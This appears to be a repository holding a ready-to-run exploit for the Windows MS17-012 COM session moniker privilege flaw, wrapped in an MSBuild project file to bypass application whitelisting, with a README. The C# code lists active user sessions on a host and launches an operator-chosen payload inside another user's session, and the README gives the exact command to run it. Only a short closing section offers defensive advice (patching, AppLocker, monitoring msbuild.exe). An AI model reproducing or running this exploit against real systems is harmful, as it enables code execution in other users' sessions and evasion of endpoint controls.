├── MS17-012.csproj
└── README.md


/MS17-012.csproj:
--------------------------------------------------------------------------------
  1 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  2 |   <!-- COM Session Moniker EoP Exploit running within MSBuild.exe -->
  3 |   <!-- This code lets you execute the COM Session Moniker Exploit and Bypass Application Whitelisting. -->
  4 |   <!-- Save This File And Execute The Following Command: -->
  5 |   <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MS17-012.csproj -->
  6 |   <!-- Author and founder of the MSBuild Application Whitelisting Bypass code: Casey Smith, Twitter: @subTee -->
  7 |   <!-- Author and founder of the COM Session Moniker EoP Exploit: James Forshaw, Twitter: @tiraniddo -->
  8 |   <!-- License: BSD 3-Clause -->
  9 |   <Target Name="PoC_SessionMoniker_EoP">
 10 |     <MS17_012>
 11 |     </MS17_012>
 12 |   </Target>
 13 |   <UsingTask
 14 |     TaskName="MS17_012"
 15 |     TaskFactory="CodeTaskFactory"
 16 |     AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
 17 |     <ParameterGroup/>
 18 |      <Task>
 19 |       <Code Type="Class" Language="cs">
 20 |         <![CDATA[
 21 | 			using System;
 22 | 			using System.Collections.Generic;
 23 | 			using System.Diagnostics;
 24 | 			using System.IO;
 25 | 			using System.Linq;
 26 | 			using System.Runtime.InteropServices;
 27 | 			using System.Threading;
 28 | 			using System.Reflection;
 29 | 			using Microsoft.Build.Framework;
 30 | 			using Microsoft.Build.Utilities;
 31 | 
 32 | 
 33 | 			public class MS17_012 :  Task, ITask
 34 | 			{
 35 | 				public override bool Execute()
 36 | 				{
 37 | 					Program.Main();
 38 | 					return true;
 39 | 				}
 40 | 			}
 41 | 			
 42 | 			class Program
 43 | 			{
 44 | 				[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
 45 | 				interface IHxHelpPaneServer
 46 | 				{
 47 | 					void DisplayTask(string task);
 48 | 					void DisplayContents(string contents);
 49 | 					void DisplaySearchResults(string search);
 50 | 					void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
 51 | 				}
 52 | 
 53 | 				enum WTS_CONNECTSTATE_CLASS
 54 | 				{
 55 | 					WTSActive,              // User logged on to WinStation
 56 | 					WTSConnected,           // WinStation connected to client
 57 | 					WTSConnectQuery,        // In the process of connecting to client
 58 | 					WTSShadow,              // Shadowing another WinStation
 59 | 					WTSDisconnected,        // WinStation logged on without client
 60 | 					WTSIdle,                // Waiting for client to connect
 61 | 					WTSListen,              // WinStation is listening for connection
 62 | 					WTSReset,               // WinStation is being reset
 63 | 					WTSDown,                // WinStation is down due to error
 64 | 					WTSInit,                // WinStation in initialization
 65 | 				}
 66 | 
 67 | 				public enum WTS_INFO_CLASS
 68 | 				{
 69 | 					WTSInitialProgram,
 70 | 					WTSApplicationName,
 71 | 					WTSWorkingDirectory,
 72 | 					WTSOEMId,
 73 | 					WTSSessionId,
 74 | 					WTSUserName,
 75 | 					WTSWinStationName,
 76 | 					WTSDomainName,
 77 | 					WTSConnectState,
 78 | 					WTSClientBuildNumber,
 79 | 					WTSClientName,
 80 | 					WTSClientDirectory,
 81 | 					WTSClientProductId,
 82 | 					WTSClientHardwareId,
 83 | 					WTSClientAddress,
 84 | 					WTSClientDisplay,
 85 | 					WTSClientProtocolType,
 86 | 					WTSIdleTime,
 87 | 					WTSLogonTime,
 88 | 					WTSIncomingBytes,
 89 | 					WTSOutgoingBytes,
 90 | 					WTSIncomingFrames,
 91 | 					WTSOutgoingFrames,
 92 | 					WTSClientInfo,
 93 | 					WTSSessionInfo,
 94 | 					WTSConfigInfo,
 95 | 					WTSValidationInfo,
 96 | 					WTSSessionAddressV4,
 97 | 					WTSIsRemoteSession
 98 | 				}
 99 | 
100 | 				[StructLayout(LayoutKind.Sequential)]
101 | 				struct WTS_SESSION_INFO
102 | 				{
103 | 					public int SessionId;
104 | 					public IntPtr pWinStationName;
105 | 					public WTS_CONNECTSTATE_CLASS State;
106 | 				}
107 | 
108 | 				[DllImport("wtsapi32.dll", SetLastError = true)]
109 | 				static extern bool WTSEnumerateSessions(
110 | 						IntPtr hServer,
111 | 						int Reserved,
112 | 						int Version,
113 | 						out IntPtr ppSessionInfo,
114 | 						out int pCount);
115 | 
116 | 				[DllImport("Wtsapi32.dll")]
117 | 				public static extern bool WTSQuerySessionInformation(
118 | 						IntPtr hServer,
119 | 						int iSessionID,
120 | 						WTS_INFO_CLASS WtsInfoClass,
121 | 						out IntPtr pBuffer,
122 | 						out uint iBytesReturned);
123 | 
124 | 				[DllImport("wtsapi32.dll", SetLastError = true)]
125 | 				static extern void WTSFreeMemory(IntPtr memory);
126 | 
127 | 				public static IEnumerable<int> GetSessionIds()
128 | 				{
129 | 					List<int> sids = new List<int>();
130 | 					IntPtr hServer = IntPtr.Zero;
131 | 					IntPtr pSessions = IntPtr.Zero;
132 | 					int dwSessionCount = 0;
133 | 					try
134 | 					{
135 | 						if (WTSEnumerateSessions(hServer, 0, 1, out pSessions, out dwSessionCount))
136 | 						{
137 | 							IntPtr current = pSessions;
138 | 							for (int i = 0; i < dwSessionCount; ++i)
139 | 							{
140 | 								IntPtr pAddress = IntPtr.Zero;
141 | 								string sUserName = string.Empty;
142 | 								string sDomain = string.Empty;
143 | 								uint iReturned = 0;
144 | 
145 | 								WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
146 | 								int current_session_id = Process.GetCurrentProcess().SessionId;
147 | 
148 | 								if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive)
149 | 								{
150 | 									if (session_info.SessionId != 0 && session_info.SessionId != current_session_id)
151 | 									//if (session_info.SessionId != 0)
152 | 									{
153 | 										//Get the Domain Name of the Terminal Services User
154 | 										if (WTSQuerySessionInformation(hServer, session_info.SessionId, WTS_INFO_CLASS.WTSDomainName, out pAddress, out iReturned) == true)
155 | 										{
156 | 											sDomain = Marshal.PtrToStringAnsi(pAddress);
157 | 										}
158 | 
159 | 										//Get the User Name of the Terminal Services User
160 | 										if (WTSQuerySessionInformation(hServer, session_info.SessionId, WTS_INFO_CLASS.WTSUserName, out pAddress, out iReturned) == true)
161 | 										{
162 | 											sUserName = Marshal.PtrToStringAnsi(pAddress);
163 | 										}
164 | 
165 | 										Console.ForegroundColor = ConsoleColor.Yellow;
166 | 										Console.WriteLine(" [*] Session ID : " + session_info.SessionId);
167 | 										Console.WriteLine(" [*] User Name  : " + sDomain + @"\" + sUserName);
168 | 										Console.ResetColor();
169 | 										Console.WriteLine();
170 | 
171 | 										sids.Add(session_info.SessionId);
172 | 									}
173 | 								}
174 | 								current += Marshal.SizeOf(typeof(WTS_SESSION_INFO));
175 | 							}
176 | 						}
177 | 					}
178 | 					finally
179 | 					{
180 | 						if (pSessions != IntPtr.Zero)
181 | 						{
182 | 							WTSFreeMemory(pSessions);
183 | 						}
184 | 					}
185 | 
186 | 					return sids;
187 | 				}
188 | 
189 | 				public static void Main()
190 | 				{
191 | 					try
192 | 					{
193 | 						int current_session_id = Process.GetCurrentProcess().SessionId;
194 | 						int new_session_id = 0;
195 | 						string URI = string.Empty;
196 | 						Console.Clear();
197 | 						Console.WriteLine(" [+] Enumerating Active User Sessions...");
198 | 						Console.WriteLine();
199 | 
200 | 						IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
201 | 						//IEnumerable<int> sessions = GetSessionIds();
202 | 
203 | 						if (sessions.Count() == 0)
204 | 						{
205 | 							Console.ForegroundColor = ConsoleColor.Red;
206 | 							Console.WriteLine(" [!] No Active User Sessions Found");
207 | 							Console.ResetColor();
208 | 							return;
209 | 						}
210 | 
211 | 						Console.WriteLine(" [+] Enter a SessionID in which you want to execute your Payload:");
212 | 						Console.Write(" [>] ");
213 | 						Console.ForegroundColor = ConsoleColor.Green;
214 | 						new_session_id = int.Parse(Console.ReadLine());
215 | 						Console.ResetColor();
216 | 
217 | 						Console.WriteLine(" [+] Now enter the Payload you want to execute in this Session (e.g. C:\\Temp\\Payload.bat):");
218 | 						Console.Write(" [>] ");
219 | 
220 | 						while (true)
221 | 						{
222 | 							try
223 | 							{
224 | 								Console.ForegroundColor = ConsoleColor.Green;
225 | 								URI = Console.ReadLine();
226 | 								Console.ResetColor();
227 | 								if (!File.Exists(URI))
228 | 								{
229 | 									Console.WriteLine(" [!] That Payload does not exist, Please Try Again:");
230 | 									Console.Write(" [>] ");
231 | 									Console.ForegroundColor = ConsoleColor.Green;
232 | 									Console.ResetColor();
233 | 								}
234 | 								else
235 | 								{
236 | 									break;
237 | 								}
238 | 							}
239 | 							catch
240 | 							{
241 | 								Console.WriteLine(" [!] That Payload does not exist, Please Try Again:");
242 | 								Console.Write(" [>] ");
243 | 								Console.ForegroundColor = ConsoleColor.Green;
244 | 								Console.ResetColor();
245 | 							}
246 | 						}
247 | 
248 | 						Console.WriteLine();
249 | 						Console.WriteLine(" [+] Creating Process in Session {0} after 20 Seconds...", new_session_id);
250 | 						Thread.Sleep(20000);
251 | 						IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
252 | 
253 | 						Uri target = new Uri(URI);
254 | 						server.Execute(target.AbsoluteUri);
255 | 					}
256 | 					catch (Exception ex)
257 | 					{
258 | 						Console.WriteLine(ex);
259 | 					}
260 | 				}
261 | 			}
262 |         ]]>
263 |       </Code>
264 |     </Task>
265 |   </UsingTask>
266 | </Project>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ### MS17-012 - COM Session Moniker EoP Exploit running within MSBuild.exe
 2 | 
 3 | Slightly modified version of James Forshaw's COM Session Moniker Exploit (MS17-012), which can be run within MSBuild.exe and can be used to Bypass Application Whitelisting solutions. 
 4 | This version of the exploit enumerates Active User sessions on a system (RDP/Citrix) and lets you choose in which user session you want to execute a custom Payload.
 5 | 
 6 | License: BSD 3-Clause
 7 | 
 8 | Save This File And Execute The Following Command:
 9 | 
10 | ```
11 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MS17-012.csproj
12 | 
13 | Or
14 | 
15 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MS17-012.csproj
16 | ```
17 | 
18 | Author and founder of the MSBuild Application Whitelisting Bypass code: Casey Smith, Twitter: @subTee
19 | More Info: http://subt0x10.blogspot.nl/2016/09/bypassing-application-whitelisting.html
20 | 
21 | Author and founder of the COM Session Moniker EoP Exploit: James Forshaw, Twitter: @tiraniddo
22 | More Info: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021
23 | 
24 | ### Advice for BlueTeams
25 | 
26 | * First make sure you apply the MS17-012 security patches.
27 | * Use Applocker or Device Guard to block these kind of Attacks and make sure you monitor/block trusted binaries like msbuild.exe 


--------------------------------------------------------------------------------